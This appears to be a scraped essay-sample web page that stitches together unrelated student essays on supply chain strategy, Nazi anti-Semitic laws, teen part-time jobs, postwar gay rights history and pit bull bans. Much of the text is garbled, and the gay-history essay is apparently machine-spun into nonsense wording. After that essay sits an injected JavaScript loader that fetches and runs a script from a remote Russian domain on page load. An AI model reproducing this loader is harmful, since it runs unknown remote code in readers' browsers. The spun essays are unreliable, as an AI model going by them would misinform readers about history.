Basic Supply Chain Strategies and Purchasing Techniques

what are the basic supply chain strategies? Explain each strategy, providing relevant examples. A supply chain strategy is frequently miss-understood with supply chain management, where supply chain actions are controlled to decrease costs, but with supply chain strategy it defines how the supply chain should function in order to compete. Supply chain strategy is an iterative method that evaluates the cost benefit trade-offs of prepared components. A well accomplished supply chain strategy results in value creation for the business. The basic supply chain strategies are many suppliers, few suppliers, vertical integration, keiretsu network, and virtual company. The many suppliers strategy has many sources per item, it has†¦show more content†¦For example buying or ordering something you want that you cannot find it in local stores off the internet. Funds transfer goes with electronic ordering because it is when money is taken from your account (with your consent) and placed into someone else’s account and vice versa you may be receiving money or transferring money to someone else’s bank account. For example you purchase an item of clothing off the internet and in order for the company who has the item of clothing to send it to you, you have to pay for the item first so you wound then proceed to means of payment where you will pay the amount asked for the item with shipping fees if any. Then the money needed for this item will be transferred from your account to the sellers account. PayPal is a company that most internet websites use. Both electronic orders and funds transters Reduces cost by reducing paperwork; also increases the speed of ordering. electronic data interchange Is the controlled transmission of data between organizations by electronic means. It is used by companies to exchange information and to transfer electronic documents and files or business data from one computer system to another computer system, for example from one trading partner to another trading partner without human involvement. EDI has replaced the fax machine and mailing list when it comes to information sharing. Using EDI,Show MoreRelatedHistory Of Green Supply Chain Management1324 Words   |  6 PagesEnvironmentally sustainable (Green) supply chain management has gained attention within the area of industry, because the environmental issue is one of the serious concern for governments. Green supply chain management is one of the key approach for Chinese manufacturing industry to achieve their market share objectives and to make maximum profit for the companies(van Hock and Erasmus, 2000). Green supply chain management is a management with com bination of environmental and supply-chain, considering environmentalRead MoreDemand Forecasting And Supply Chain1628 Words   |  7 Pagesglobal logistics and supply chain. In general, logistics and supply chain are the key to maintain the normal operation of the business. However, globalization has changed the way the business operates, it gives companies potential threats but it also provides valuable chances. In this regard, it is necessary to manage supply chain. Demand forecasting and estimation provide significant information about the market and order, and clearly identify the potential problems in supply chain (Skiver 2015). ThisRead MoreForecasting : Assessment Of Forecasting1003 Words   |  5 PagesSimply stated, forecasting is a technique utilized in efforts to match supply with demand. Accurate forecasts are necessary throughout the supply chain to guide decisions regarding operation activities. â€Å"Poor forecasting can result in poor inventory and staffing decisions, resulting in part shortages, inadequate customer service, and many customer complaints† (Collier Evans, 2013, pg.227). Poor forecasting can also result in excess inventory throughout the supply chain. Since forecasting is suchRead MoreBose Corporation Is A Massachusetts Based Global Supplier Of Consumer Electronics Essay1689 Words   |  7 PagesBose Corporation is a Massachusetts based global supplier of consumer electronics. Founded in 1964 by MIT-professor Dr. Amar Bose, the company’s strategy has been to combine technology with creative people to develop products that offer high performance and are simple to use, yet sophisticated (Moody, 1991). Bose prides itself on its creativity and innovation in producing quality audio components, like stereos, noise canceling headsets and premier automobile stereo systems. Bose is also known forRead MoreCase Study Management Functions Of Nissan Motor Company Essay1571 Words   |  7 Pagesand generate value for its customers. CPM and PERT will be discussed to see how they fit into the company’s operational and project management systems. Lastly, this paper will identify the steps used to developing a forecasting system and also supply chain risk and associated risk reduction tactics in the wake of a natural disaster. Generating Value The Functions of Nissan Motor Company Operations Management Planning, organizing, staffing, leading and controlling are the functions that make up operationRead MoreEssay On Types Of Selling1117 Words   |  5 Pagesselling Is a type of selling performed in the absence of simultaneous physical presence of the consumer and the professional, after a purchasing offer made by the latest, which, keeping in mind the end goal to finish up the agreement, uses exclusively distance correspondence techniques (Schwepker, 2003). The Internet has given another market place to the purchasing and selling of goods and services. Consumers have been slow to channel web based business by means of the Internet because of concernsRead MoreRoles And Responsibilities Of Managing Director1674 Words   |  7 Pagesoverall performance of the company and is tasked with developing and implementing a strategy that drives the company forward with effective operation and profitable growth. He does this by building and maintaining an effective executive team and by closely monitoring and comparing operational and financial results to forecasts and budgets. In addition to day to day oversight, the director must calculate an operating strategy that steers the company towards its long term objectives, taking appropriate correctiveRead MoreRiordan Manufacturing Supply Chain Design1151 Words   |  5 PagesRiordan Manufacturing Supply Chain Design Shante Moore University of Phoenix/OPS 571 â€Æ' Introduction Riordan Manufacturing is a global plastics manufacturer and industry leader in the field of plastic injection molding with locations in Georgia, Michigan, California, and their most current expansion in 2000 to Hangzhou, China. The plant located in China manufactures fans using a make-to-stock operation that uses a forecasting method to determine future demand. A review of their strategic capacityRead MoreManaging Director : The Executive Of The Company1666 Words   |  7 Pagesoverall performance of the company and is tasked with developing and implementing a strategy that drives the company forward with effective operation and profitable growth. He does this by building and maintaining a capable management team and by closely monitoring and comparing operational and financial results to forecasts and budgets. In addition to day to day oversight, the director must calculate an operating strategy that steers the company towards its long term objectives, taking appropriate corrective Read MoreRiordan Manufacturing Supply Chain Design1165 Words   |  5 PagesRiordan Manufacturing Supply Chain Design Shante Moore University of Phoenix/OPS 571 â€Æ' Introduction Riordan Manufacturing is a global plastics manufacturer and industry leader in the field of plastic injection molding with locations in Georgia, Michigan, California, and their most current expansion in 2000 to Hangzhou, China. The plant located in China manufactures fans using a make-to-stock operation that uses a forecasting method to determine future demand. A review of their strategic capacity

Nazi Germany s Anti Semitic Laws - 1781 Words

There was something inside Hitler’s Third Reich that drove Germany to the edge, and quickly sent it plummeting off the cliff into a deep, dark pit. An almost disease-like mindset invaded the minds of the public, turning everyday men and women into beings capable of the most unspeakable evil. This monster, this driving force behind the Third Reich, is racism so strong that it allowed for the murder of millions of innocent men, women, and children. The piles of dead bodies thrown in miles upon miles of mass graves would change the face of Europe and the entire world for years to come. Nazi Germany’s anti-Semitic laws, additional opportunities for a select few, and their eventual elimination policies makes the Third Reich the most racist†¦show more content†¦The Polish and Russian populations were looked down upon by the Nazis. Hitler’s exceptionally moving speeches and racial ideology was very effective in rallying the people. Along with that, the German f orces were more willing to carry out the atrocities they were ordered to perform. Along with the Poles and Russians, Nazis began to mistreat the large Jewish populations throughout their territories. Under the authority of the Third Reich, Germans took destroyed Jewish storefronts and soon their business were completely taken over by faithful Nazis. According to MAUS, the story of Vladek Spiegelman as recorded by his son Art, when Vladek and his wife Anja returned to Bielko, Poland, his factory had been completely emptied out (38). Later on, when Vladek and his family are forced to move in with his father-in-law, he asked about the condition of the factory, only to hear, â€Å"Don’t you know? All Jewish businesses have been taken over by ‘Arian managers (MAUS, 78).’† All Jews were also required to wear a golden star stitched onto their clothing, visibly marking each and every one of them for verbal and physical abuses while just out on the street. No longe r was the racism solely residing in Hitler’s rage-fueled speeches, but it was easy to see on every street corner in everyday life. In Germany, if it was determined you had good, pure blood that would

Should Cell Phones Be Banned in the Classroom Free Essays

Should high school students work part-time? Why or Why not? In my opinion high school students should work a part-time job because it gives the student an opportunity to contribute to the community. A part-time job will teach students the value of money and give them the skills that they can use in their future. Firstly, a part-time job for students is a good idea because students are greatly needed to participate in today’s society. We will write a custom essay sample on Should Cell Phones Be Banned in the Classroom? or any similar topic only for you Order Now Getting a job in the community is a great way to participate and get them involved. A part-time job would give the student a sense of ownership and belonging within their community. Also, when the student gets a pay check he or she has to know that they need to budget their money and also create a savings account for future purchases. Having a job will also teach students the value of the dollar. When a student is about to spend his or her money they can stop and question themselves, do I really need this? Finally a part-time job gives students important skills useful for their future. For example, if a student would get a job at the local department store, he or she would learn how to handle money, how to stock shelves, order supplies that are needed and customer service skills. Having a job builds a student’s character and trust worthy values. As we all know, in society word of mouth about one’s character and how responsible they are excels fast within any community. In conclusion, part- time work for a student is a key element in future success. It allows the student to grow and learn as an individual and create strong work ethic. There is nothing more valuable to an employer than an employee that has these skills. In life there is nothing more desirable to an individual, than to have a strong sense of worth, character and the ability to handle and manage money to its fullest potential. How to cite Should Cell Phones Be Banned in the Classroom?, Papers

Gays A Struggle For Acceptance Essay Research free essay sample

Homosexuals: A Struggle For Acceptance Essay, Research Paper Homosexuals: A Struggle for Acceptance # 8220 ; When the dust settees and the pages of history are written, it will non be the angry guardians of intolerance who have made the difference, that wages will travel to those who dared to step outside the safety of their privateness in order to expose and expel the prevailing prejudice. # 8221 ; John Shelby Spong Episcopal Bishop of the Diocese of Newark, NJ November 21, 1996 During World War II and particularly the 20 old ages after brought great political and societal alterations to the U.S.. Undoubtedly, one of the major alterations was the new consciousness of homosexualism. If this new consciousness was to the advantage or if it was truly wanted by the homosexual and sapphic population is a inquiry that arises ; if they truly had a pick in the affair is another. I think homosexuals # 8217 ; relentless battle for credence into mainstream society came from the American fundamental law itself. After all, the homosexual release motion started in America, the land of the free, where all work forces are created equal and with an unalienable right to prosecute their ain felicity. No 1 should be able to take these rights off from anyone. Besides, in the 1950s, the civil rights motion became active and words like integration and equal rights for all became synonymous with the American manner of life. Stand up and battle against those who hold done you incorrect! This is what gave homophiles such a strong belief to get down contending for their ain cause. This paper will follow the advancement of homosexual and tribades in the 20th century before, during and after World War II. What was their place in the armed forces during the war and what was authorities and military policy during and after the war on homosexuals in the ground forces and in authorities places? How did homosexual and lesbians respond to the new policies after the war and why were organisations like the Mattachine Society and the Daughters of Bilitis founded? On December 7, 1941 at 7:55 ante meridiem local clip, Japan attacked Pearl Harbor. The Unites States declared war on Japan and was all of a sudden a participant in the largest war in the history of world. A monolithic armed forces force of 12 million work forces was assembled. American soldiers were sent to Europe and Japan to take part and win the Big One. The military bureaucratism grew consequently and 1000s of new occupations were created. With the military # 8217 ; s tremendous demand for forces, drafted American work forces found themselves in stray gender unintegrated environments. All the large war films depict this with the GI # 8217 ; s hankering for leave so he could travel downtown and happen himself a cocotte. What these films do non demo is a new community, within the military, of homophiles who until now lived socially stray lives because they were either unsure of what they were or of their sexual penchants or merely obviously frightened of what people would believe if they found out their secret. In the military, these people found other cheery work forces who were in the same quandary. They weren # 8217 ; t entirely. Before the war, homosexuals and tribades were about unseeable from society. They were non mentioned in the popular media and the general population was unmindful to their being. An occasional apprehension or school ejection of a Asexual sociopath @ were the lone vague marks that the populace would hear about. Now that the military accepted or at least needed the cooperation of all work forces, including homophiles, an of import page had been turned in the advancement of homosexual rights, nevertheless, it besides set the scene for favoritism and bias. Homosexuals were in all subdivisions of the armed forces, from paper forcing to look line combat. Before enlisting, inquisitors had forced them to depict their life style, which in bend made it impossible for homophiles to go on concealing in the cupboard but alternatively had to take the first measure in populating a new unfastened life style. They were classified as Asexual sociopaths @ on their military records, nevertheless, they were non being discriminated by the armed forces at this point in clip. An setup was even set up to suit cheery forces. Through this setup, the armed forces ended up with quite an extended record of homosexual behaviour and was considered an expert on the topic. Military scientists much subsequently said that through analyzing homophiles # 8217 ; behaviour could happen nil to back up grounds that homosexual and tribades were in any manner sociopaths or had any signifier of mental upset. This study came out after the 1940s and 1950s ; until so, the military denied holding made any research on homophiles. After World War II, the military all of a sudden made a determination non to hold homosexual or tribades in the armed forces any longer. They would be discharged without any benefitsa even though they hadn # 8217 ; t done anything incorrect. This caused homosexual veterans to unify and contend against sexual favoritism and some were subsequently the laminitiss of organized homosexual rights motions. Exposed by the war, homosexuals and tribades decided to go on populating their lives in the unfastened, although many still preferred populating softly in distinct suburbs, coming out merely under anonym in articles or books. Parallel barss for homosexuals and tribades became a major garnering topographic point. Here they could mix and be themselves. These bars became broad spread and were non merely confined to the major U.S. metropoliss but were established in many little towns as good. The general populace and media started detecting this growing and with the common knowing of homophiles being perverted sexual sociopaths, kid molesters, sex wrongdoers and sex perverts, a fright spread for the safety of adult females and kids who could be snatched by these unsafe people. This fright initiated the anti-gay policies and sex sociopath Torahs of the late fortiess and early 1950s, where homosexual and tribades were witch hunted and fired from their work topographic point. The policy that had the greatest impact was President Eisenhower # 8217 ; s sign language of Executive Order # 10450, saying that sexual perversion was ground for bias hiring and fire of workers Gay veterans were a choice group of American nationalists, who, for the most portion wanted things to travel back to how they were and merely lead secure and stable lives. These new policies caused much annoyance and the veterans felt they were invariably being mistreated, which gave them all the more ground to talk up. They could hold continued to populate quiet lives but they were pushed into the unfastened by the authorities, and now that they were exposed, they weren # 8217 ; t traveling to travel back in the cupboard without a battle. The new rigorous moral values of the postwar period and the atomic household did non assist homosexuals and tribades blend into society. Alternatively, homophiles were being scapegoated and considered sex perverts. The thought of perverts and wave builders went good together with the ruddy panic and homophiles were feared even more than earlier. Communist homophiles would intend the ruin of western society as we know it # 8230 ; .at least that is what the authorities wanted us to believe. The theory of homophiles being sex perverts was besides supported by head-shrinkers who wanted more influence over the condemnable justness system and allowed for the captivity of homophiles into mental establishment. This caused apprehensions for buggery, perversion and indecency to skyrocket and many work forces and adult females ended up in these establishments. The military # 8217 ; s turnaround and postwar intervention of homophiles and the homophobia and irrational fright of homosexuals that they caused, made its manner to the civilian bureaucratism. In the 1950s, senators launched an onslaught on homosexual employees. Senator Joseph McCarthy led the campaign against homophiles and Communists and was feared by about all American ; he had the power to disregard you from your topographic point of work and set you in an establishment. Homosexuals were even considered to be easier marks for communist propaganda and were besides the chief ground for the purgings in the authorities sector. Peoples were afraid homosexuals would present U.S. secrets to the Russians. Even though homosexuals and tribades were hounded everyplace, they didn # 8217 ; t defend themselves from the onslaughts. Homosexuals had no 1 to talk up for them at that clip and were unsure of what to make. Alternatively they isolated themselves and bottled up the choler and fright they felt for society. Gay veterans were no exclusion, nevertheless, they didn # 8217 ; t accept the fortunes and conditions that had been set before them. They understood it was impossible for them to populate the manner they used to ; in order for them to take an unfastened life, the hounding had to halt. They had fought a war to continue their autonomy and no 1 should be able to take that off from them now. The first organisation for homosexuals was founded in Germany. The Scientific Human-centered Committee wanted to get rid of the German anti-gay penal codification and to educate the populace on being homosexual. The motion was short lived and was disintegrated when the Nazi government came to power. There was besides an attempt for homosexual forming in Chicago during the 1920s but they dissolved without major acknowledgment. Then came the Mattachine Society. It was founded in 1950 in Los Angeles as a response to anti-gay runs in Washington, the changeless constabulary raiding of homosexual bars and that homosexuals were an laden minority and should hold person to talk for them. The Mattachine Society would assist gays out of gaol, consult homosexuals and mention them to head-shrinkers, if they needed 1. However, remaining above budget was non easy. Name says the active members were making more than they were acquiring paid for. Printing the Mattachine Review, a homosexual magazine, was a demanding business and member fees did non cover all the work that had to be done. A saloon directory was besides published by the Society together with the Daughters of Bilits # 8217 ; s ain magazine, the Ladder. The original laminitiss were cheery veterans from WWII and consisted of Chuck Rowland, Bob Hull, Harry Hay, Rudy Gernreich, Konrad Stevens, Dale Jennings, Stan Witt and Paul Bernard. The most magnetic of these was Chuck Rowland. He himself was an ground forces veteran and an dreamer. After the war, he had joined the American Veterans Committee and subsequently the Communist party. Bing a member of the Communist party would later cause him his place with the Mattachine Society. These laminitiss had a vision that all homophiles would finally come out and exhibit down the streets of LA. Until so, they sought safety under anonym when printing anything of homosexual nature. Many joined the Society but no one knew who ran the organisation. Rowland and the others thought it safest to maintain it that manner in the beginning. In 1954, the laminitiss decided to go an unfastened democratic organisation and a ballot was held as to whom should be the leaders. Rowland and the others wanted a extremist group of expansionists and dissenters. Hall Call, their resistance, wanted to take a more conservative attack. He meant that for the group to last, they did non desire to pull unneeded attending to themselves ; besides to hold an unfastened organisation, they had to extinguish everything that could give the authorities, particularly McCarthy, an alibi to close the organisation down, which meant taking the communist cabal from the group. Name won the ballot and most if non all of the original laminitiss were asked to resign. This determination left them really acrimonious and the inquiry whether they had done the right thing by traveling # 8220 ; public # 8221 ; they manner they had is still asked. Rowland claimed Call was the ground for the Mattachine # 8217 ; s ruin, holding non an ounce of organisational spirit in his whole organic structure. Name on the other manus, who was a journalist, saw the McCarthy menace as existent and if the Mattachine Society wanted to heighten the Society and make some good, remaining depression was the lone reply. Membership subsequently decreased in the late sixtiess and members alternatively joined a seceded subdivision of the Society called SIR. Up until 1950s, no Aopen-minded @ survey had of all time been made of male homophiles. However, in 1956, Dr. Evelyn Hooker, a professor at UCLA, presented a paper to the American Psychological Association in Chicago, in which she had conducted an experiment of homophiles and straight persons to analyze their Afundamental personal behaviour @ utilizing the Rorschach, the Thematic Apperception and the Make a Picture tests. The Judgess were internationally recognized scientists and were non told who had been taking the trials. The consequence came out and the Judgess could non happen any relation between the topics # 8217 ; sexual penchants and their replies. Dr. Hooker received the Distinguished Contribution Award for her survey. Dr. Hooker was besides confronted by many tribades, inquiring her to carry on a trial on them every bit good. She refused on the evidences that a adult female carry oning trials on adult females would be considered colored and non be taken earnestly. In 1955, lesbians in San Francisco founded the sapphic equivalent to the Mattachine Society ; they called it the Daughters of Bilitis. The motion was unsure on how to continue ; whether they should prosecute in picketing and other civil rights activities or whether it should dispute the medical profession # 8217 ; s claim that homosexualism was an unwellness. Their undertaking consisted of reding tribades and educate female parents who thought their girls might be sapphic. One sad instance was when a girl confronted her parents and told them of her being a tribade. The parents didn # 8217 ; Ts take it every bit good as she might hold hoped for. Alternatively they raised a headstone with her name on it and declared her dead by naming her in the necrologies in the local newspaper. In June of 1969, the Stonewall Inn, Greenwich Village, was considered the morning of the cheery release motion. A constabulary foray caused homophiles to riot, non accepting the changeless terrorizing from the governments. The three twenty-four hours rioting led to the beginning of a new mass motion, the Gay Liberation Front, derived from the controversial Vietnamese National Liberation Front ; desiring extremist alteration, much like Chuck Rowland and the laminitiss of the Mattachine Society and contending fiercer and with more pride and assurance than earlier. Homosexuals and tribades began fall ining forces and recognized their common cause ; to stand up for their rights as human existences and non willing to be suppressed any longer. This historic event is every twelvemonth embodied in New York # 8217 ; s Gay Parade. There was a countrywide protest against the favoritism of cheery military gt ; forces but it didn # 8217 ; Ts have much impact. Military policy is still really much biased against homophiles in the armed forces ; even after authorities establishments loosened up their limitations on homosexual policy. The military argued that homophiles in service would endanger the moral and occupation public presentation of enlisted forces. The discharge policy backfired. Alternatively of bring forthing Asexual security @ for the soldiers, it reinforced ill will and bias among forces. This policy goes against the secret military studies that say homosexuals are suited for the military and the cheery history of World War II, which showed that gay work forces could be merely every bit brave as consecutive work forces. It merely leaves us to believe that the armed forces has no regard for cheery forces and are merely utilizing them when in a crisis and being in demand of cannon fresh fish. Looking back, the Mattachine Society and the Daughters of Bilitis were the innovators for all homosexual and tribades. They created a hardy foundation on which to construct a national acknowledgment and apprehension of homophiles. Without them there would most likely non hold been a Stonewall Inn incident. Who is to fault for homophiles holding to contend for acknowledgment and credence against what seemed to be the full American populace? Before World War II, the populace was uneducated and unaware of the homosexual and sapphic society they lived with. Like a kid, they were easy affected by authorities philosophy, justified by the authorities # 8217 ; s need to maintain the economic system turning by unifying the people with false anti-Communist anti- homosexual propaganda and thereby making an illusional external and internal enemy. From a strictly economic position, the authorities wanted Keyen # 8217 ; s AAnimal Spirits @ ( herd outlook ) to be positive and united and non hold them travel into another depression of pessimistic thought. The postwar old ages were the first clip the authorities had this much control over industry and functionaries thought it should stay that manner. To make this, the populace had to be satisfied and non worried about another recession. Communism and the homosexual menace were merely the alibis the authorities needed to unify the population. They would further the American ideal on how to be and move and deviance from this ideal, would do the ARussian Bear @ to occupy the American peace loving vicinities. I think homophiles were used as whipping boies and were a minority that could be sacrificed for the authoritiess proclaimed Agood @ of the state. Beginnings: # 8211 ; The American Record ; volume II: since 1865, by William Graebner A ; Leonard Richards, McGraw-Hill, Inc. # 8211 ; Making History ; The Struggle for Gay and Lesbian Equal Rights 1945 # 8211 ; 1990, by Erik Marcus, HarperCollins Publishers INTERESTING AND MORE DETAILED EXCERPTS FROM INTERNET SOURCES FOR FURTHER Reading: The Stonewall Inn, ( named after the Confederate General # 8216 ; Stonewall # 8217 ; Jackson ) , was a cheery saloon ( said to be sleazy and Mafia-run ) at 51-53 Christopher Street merely E of Sheridan Square in New York # 8217 ; s Greenwich Village. On the dark of 27/28th. June, 1969, a constabulary inspector and seven other officers from the Public Morals Section of the First Division of the New York City Police Department arrived shortly after midnight, served a warrant bear downing that intoxicant was being sold without a licence, and announced that employees would be arrested. The frequenters were ejected from the saloon by the constabulary while others lingered outside to watch, and were joined by passerby. The reaching of the paddy waggons changed the temper of the crowd from passiveness to rebelliousness. The first vehicle left without incident apart from catcalls from the crowd. The following person to emerge from the saloon was a adult female in male costume who put up a battle which galvanized the bystanders into action. The crowd erupted into throwing setts and bottles. Some officers took safety in the saloon while others turned a fire hosiery on the crowd. Police supports were called and in clip the streets were cleared. During the twenty-four hours the intelligence spread, and the undermentioned two darks saw further violent confrontations between the constabulary and homosexual people. The event was of import less for its intrinsic character than for the significance later bestowed on it. The Stonewall Rebellion was a self-generated act of opposition to the constabulary torment that had been inflicted on the homosexual community since the origin of the modern frailty squad in metropolitan constabulary forces. It sparked a new, extremely seeable, aggregate stage of political organisation for homosexual rights that far surpassed, semi-clandestine gay motion of the 1950s and 1960s, exemplified by the Mattachine Society. The Mattachine Society newssheet described the rebellion as # 8216 ; the hairpin bead heard round the universe # 8217 ; . The event has been commemorated by a parade held each twelvemonth in New York City on the last Sunday in June, following a tradition that began with the first March on 29th. June, 1970, and by parallel events throughout the United States. @ STONEWALL: THE HISTORICAL EVENT The confrontations between demonstrators and constabularies at The Stonewall Inn in Greenwich Village over the weekend of June 27-29, 1969 are normally cited as the beginning of the modern motion for Lesbian/Gay release. What might hold been a everyday constabulary raid on a saloon patronized by homophiles, became a signal event which sparked a motion. The Stonewall public violences have developed into the material of myth, about which many of the most normally held beliefs are likely untrue. In 1969, it was illegal to run any concern catering to homophiles in New York City-as it still is, today in 1991, in many topographic points in the United States and elsewhere. The standard process was for the New York City constabularies to foray such constitutions on a semi-regular footing, to collar a few of the most obvious # 8216 ; types # 8217 ; and to ticket the proprietors prior to allowing concern continue as usual by the following eventide. It has been suggested that the bulk of the frequenters at the Stonewall Inn were black and Latino retarding force Queenss, but possibly the goddess has ever valued these rare animals much excessively extremely to of all time allow them become a bulk. In fact, most of the frequenters that flushing were most likely immature, college-age white work forces anticipating to pass the remainder of their lives in the quiet despair of the middle-class cupboard. They knew that it was moderately safe to come in the Stonewall Inn exactly because there were a few colored retarding force Queenss, dike bulldykes and others whose double-minority position made them far more likely campaigners for apprehension ; this gave everyone else clip to cover their faces and run for the nearest issue. After midnight June 27-28, 1969, four work forces and two adult females from the New York Tactical Police Force called a foray on The Stonewall Inn at 55 Christopher Street. After go forthing the saloon, many of the frequenters decided to wait around outside while the constabulary dispatched the # 8216 ; usual suspects # 8217 ; into the new waves. It is said that this was the first clip where Lesbians and Gay work forces fought back ; in fact, there had already been several incidents in both Los Angeles and New York where ample groups of Gays had resisted apprehension. More to the point, the Queenss targeted for apprehension had ever fought back, entirely and unsupported as they were led clip and once more to the new waves. What was alone about Stonewall and gives it a resonance which continues to animate today was that it was possibly the first clip when Lesbians and Gay work forces as a group were able to see beyond the lip rouge and the high heels, beyond the skin colour and acknowledge the subjugation which threatens us all. The greatest great myth refering the Stonewall public violences is that it was a Lesbian/Gay event. It is likely that many of those who began fliping pennies, so beer bottles, at the constabulary that dark weren # 8217 ; t even homosexual. The lone publically reported apprehension was a consecutive common people vocalist who was looking following door and who joined the scrimmage after go forthing work. The streets of Greenwich Village were home to many immature people whose political relations were defined by the blooming anti-war motion, left-wing political political orientations and the successes of the Women # 8217 ; s release and Black Civil Rights motions. Like their Lesbian/Gay brothers and sisters, they were prepared to acknowledge subjugation and therefore willing to react to it. ( Anyone who thinks being able to see subjugation is easy has to merely retrieve the Clarence Thomas verification hearings. ) In all, some 300 to 400 people became involved in the effort to halt the apprehensions, break outing into violent protest. The constabulary and the saloon proprietors, who were perceived to be portion of the inhibitory system at work, barricaded themselves inside the Stonewall Inn for protection. While they anticipated supports, the crowd outdoors attempted to fire the saloon down with the bulls inside. Finally, a squadron of patrol autos arrived and chased the herd off from the saloon, and so around the narrow small town streets for several hours. The undermentioned dark, a new crowd assembled outside the Stonewall and rioted when the constabulary attempted to interrupt it up. Provocative articles looking in the NY Post, Daily News and particularly The Village Voice helped to consolidate Gay willingness to contend back. Within a few yearss, representatives of the Mattachine Society and the Daughters of Bilitis organized the metropolis # 8217 ; s foremost of all time # 8220 ; Gay Power # 8221 ; mass meeting in Washington Square. On July 27, 1969, addresss by Martha Shelley and Marty Robinson were followed by a candle flame March to the site of the Stonewall Inn. Five 100 people showed up, thought to hold included about the full # 8216 ; out-of-the-closet # 8217 ; population of Lesbians and Gay work forces in New York, every bit good as their protagonists from the political left. The remainder as they say is history # 8230 ; STONEWALL: The Movement Before Stonewall, there were a figure of groups working for homosexual rights, of all time since the construct had been defined in 19th century Germany, place to the universe # 8217 ; s first politically organized motion. In the United States, since April 1965, Frank Kameny of Washington, DC had been forming Homosexual Reminder Days on the oval across from the White House and at Independence Hall in Philadelphia. These were staid personal businesss of a few twelve picketers with the work forces in jackets and ties and the Lesbians in skirts and frocks. Their chief demand was for civil service protection and the right of homophiles to keep authorities occupations. The New York deputation that attended the July 4th lookout in 1969, one hebdomad after Stonewall, held manus and shouted down the other marchers. This was the last Homosexual Reminder Day and a clear mark that the Stonewall public violences had set something new in gesture. During the first twelvemonth after Stonewall, a whole new coevals of organisations emerged, many placing themselves for the first clip as # 8220 ; Gay # 8221 ; intending non merely a sexual orientation, but a extremist new footing for self- designation and with a sense of unfastened political activism. Older groups such as the Mattachine Society or the Westside Discussion Group whose members had used foremost names or wholly fabricated 1s to protect their individualities shortly made manner for the Gay Liberation Front and the assorted regional Gay Militants Alliances. The huge bulk of these new militants were under 30, new to political organizing and believed everything was possible. Many groups were affiliated with specific colleges and universities, once more with # 8220 ; Gay # 8221 ; replacing # 8220 ; Homophile # 8221 ; in the names of most older groups and about all new 1s. By the summer of 1970, groups in at least eight American metropoliss were sufficiently organized to schedule coincident events marking the Stonewall public violences for the last Sunday in June. The events varied from a extremely political March of three to five 1000s in New York to a parade with floats for 1200 in Los Angeles. MATTACHINE SOCIETY One of the earliest homosexual motion organisations in the USA. It began in Los Angeles in 1950-51. Its name was given by the innovator militant Harry Hay in memorialization of the Gallic medieval and Renaissance SociJtJ Mattachine, a musical mask group which he had studied while fixing a class on the history of popular music for a workers # 8217 ; instruction undertaking. The name was meant to typify the fact that # 8220 ; homosexuals were a cloaked people, unknown and anon. # 8221 ; , and the word, besides spelled matachin or matachine, has been derived from the Arabic of Moorish Spain, in which mutawajjihin, relates to dissembling oneself. Such an opaque name is typical of the gay motion of the clip in which unfastened announcement of the intents of the group through a disclosure name was regarded as imprudent. At first the construction of the society followed that of freemasonry with a pyramid construction, where cells at the same degree would be unknown to each other. The laminitiss were Marxists and analyzed homophiles in footings of an laden cultural minority. The communist propensities of the organisation put it under some force per unit area during the anti-Communist stage in the USA. The epoch of Mccarthyism had begun on 9th. February, 1950 with a address by Senator Joseph R. McCarthy of Wisconsin, at Lincoln # 8217 ; s Birthday dinner of a Republican League in Wheeling, West Virginia. Paul Coates wrote in a Los Angeles newspaper in March 1953 associating # 8220 ; sexual deviates # 8221 ; with # 8220 ; security risks # 8221 ; who were banding together to exert # 8220 ; enormous political power # 8221 ; . The Mattachine Society was restructured, with a more crystalline organisation, and its leading replaced. It besides changed its purposes to the assimilation of homophiles into general society, which reflected its rejection of the impression of a homosexual minority. However the Society declined, and at its convention in May 1954 merely 42 members attended. The Mattachine Society produced the monthly periodical ONE Magazine, get downing in January 1953 and finally accomplishing a circulation of 5000 transcripts. The regular publication of the magazine ceased in 1968, but its publishing house, ONE Inc. , still exists. In January, 1955 the San Francisco subdivision of the Mattachine Society began a more scholarly diary, Mattachine Review, which lasted for 10 old ages. The periodicals reached antecedently isolated persons and helped Mattachine to go better known nationally. Chapters functioned in a figure of USA metropoliss through the sixtiess. However, they failed to accommodate to the extremist militantism after the Stonewall Rebellion and faded off. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Bans on the Pit Bull Terrier free essay sample

Topic: Bans on the Pit Bull Terrier General Purpose: To argue Specific Purpose: To argue that there should not be bans on Pit Bull Terriers Thesis Statement: Bans on Pit Bull Terriers should not exist because; (1) Pit Bull breed are not any different from other dog species; (2) most evidence condemning the Pit Bull is inaccurate or a skewed regurgitation from the media; and (3) a ban would, and has, caused more work and regulations than necessary. Introduction l. [Attention Getter] As of now any pets you have come to love are now illegal to own. So when you get home, you can Just send them to the shelter to be euthanized. A. Chances are you would not be very happy doing that. II. [Establish Controversy/Justify Topic] Although it may seem ridiculous you do this to your furry family it is happening all over the country by city legislations banning the Pit Bull terrier and any dogs resembling it. We will write a custom essay sample on Bans on the Pit Bull Terrier or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page A. Id like to establish exactly what a pit bull is and remove any confusion or doubt about the breed. 1. Ken Foster, the author of Im a Good Dog: Pit Bulls, Americas Most Beautiful (and Misunderstood) Pet describes the Pit Bull as exuberant, affectionate, loyal, block-headed, athletic, ridiculous, occasionally stubborn, challenging, rewarding, and loved. A pit bull is American, and like most Americans these dogs are a Jumble of DNA and contradictions, which is naturally what pit bull lovers love most about their dogs. 2. Pit Bulls, physically, are known for their muscular features and large, thick heads. These along with an aggressive stature and powerful looking Jaws are all reasonable cause for thinking this dog looks dangerous. a. The key in this is how they look not act. Some people prefer tougher looking dogs; like preferring a Mustang to a Prius. B. In fact, some of the largest cities in the world are striving to drive an entire species of dog off the planet. . Bans are strict in Denver and Miami and are being seriously discussed in more local towns such as Burley and Coeur DAlene. Ill. [Credibility Statement] My concerns for these special kinds of dogs are not simply backed by internet browsing. A. I used to be the owner of an American Pit bull Terrier that has unfortunately past away. B. But in 7 years of life Louie had never hurt a single person. V. [Preview/Thesis Statement] Bans on the Pit Bull Terrier should not be allowed mainly because: A. First, Pit Bulls are no different than other dog species. B. Perhaps surprisingly to you all, Pit Bulls had the lowest PSI of all three species. 5. Pit Bulls attack more people than any other breed. a. Statistically this is true. (Clifton) i. In reported dog bites from the early sixties Pit Bulls have been at the top of lists. b. However, the datas origins in this argument are the main fault of these observations. Time and time again Pit Bull attack evidence is lacking. i. The victims who have been attacked by 